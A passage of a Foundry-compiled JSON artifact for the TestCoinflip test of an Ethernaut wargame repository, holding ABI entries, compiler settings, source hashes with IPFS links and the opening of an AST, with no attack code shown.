a46016d2b4b89023195914bc71ed535fa6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://485a30219418eed921289f78d5682c0ad5b50f1aa96804cc983c5bab7581e1f4\",\"dweb:/ipfs/QmXT5cECqJo5jJhfctEYNCFPha8HdnRBztyzX77t71sqwL\"]},\"src/levels/CoinFlip.sol\":{\"keccak256\":\"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279\",\"dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c\"]},\"src/levels/CoinFlipFactory.sol\":{\"keccak256\":\"0x263282e629ecbe418645e581253500fc8ab94ef71830996a449244b4dc4eb804\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3eee5a72707142f9698668f12b90df0c2a26a52eda03db9eec0b954ebb25790f\",\"dweb:/ipfs/QmaT9q7LYVM4aurySzYAgEPv3CnXN7u1byuPqHJNNghYnP\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Coinflip.t.sol\":{\"keccak256\":\"0x23993ece9a8bd64e47423c93da9d9f9f253ff8bb1902948977ed3fbc66574671\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8950e3fd5968f74a7e5cf01b681663fdde6348371deb2c729a14055764a82a5c\",\"dweb:/ipfs/QmRMDAtCsK2ejDLUXhkmwBRb8pcGR96ow94co2U7MMg2hu\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Coinflip.t.sol":"TestCoinflip"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/CoinFlipAttack.sol":{"keccak256":"0x75073dac0277fc441099f7f97359f6a46016d2b4b89023195914bc71ed535fa6","urls":["bzz-raw://485a30219418eed921289f78d5682c0ad5b50f1aa96804cc983c5bab7581e1f4","dweb:/ipfs/QmXT5cECqJo5jJhfctEYNCFPha8HdnRBztyzX77t71sqwL"],"license":"MIT"},"src/levels/CoinFlip.sol":{"keccak256":"0xee4c36a31de9882a423aec4cac960ec28586ae015f809ffad606aeafc9d12976","urls":["bzz-raw://3d782d9af569c371b593f69f1935537d1f4437811c1fc42a8613549e82f0c279","dweb:/ipfs/QmQGu57AR8BeEQvSpQhPNWLWAUwBXC9FcDFwatEm5WM14c"],"license":"MIT"},"src/levels/CoinFlipFactory.sol":{"keccak256":"0x263282e629ecbe418645e581253500fc8ab94ef71830996a449244b4dc4eb804","urls":["bzz-raw://3eee5a72707142f9698668f12b90df0c2a26a52eda03db9eec0b954ebb25790f","dweb:/ipfs/QmaT9q7LYVM4aurySzYAgEPv3CnXN7u1byuPqHJNNghYnP"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Coinflip.t.sol":{"keccak256":"0x23993ece9a8bd64e47423c93da9d9f9f253ff8bb1902948977ed3fbc66574671","urls":["bzz-raw://8950e3fd5968f74a7e5cf01b681663fdde6348371deb2c729a14055764a82a5c","dweb:/ipfs/QmRMDAtCsK2ejDLUXhkmwBRb8pcGR96ow94co2U7MMg2hu"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Coinflip.t.sol","id":59328,"exportedSymbols":{"CoinFlip":[50177],"CoinFlipAttack":[49164],"CoinFlipFactory":[50227],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestCoinflip":[59327],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2191:122","nodes":[{"id":59120,"nodeType":"PragmaDirective","src":"32:23:122","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":59121,"nodeType":"ImportDirective","src":"57:28:122","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":59123,"nodeType":"ImportDirective","src":"86:43:122","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":59122,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:122","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":59125,"nodeType":"ImportDirective","src":"131:49:122","nodes":[],"absolutePath":"src/levels/CoinFlip.sol","file":"src/levels/CoinFlip.sol","nameLocation":"-1:-1:-1","scope":59328,"sourceUnit":50178,"symbolAliases":[{"f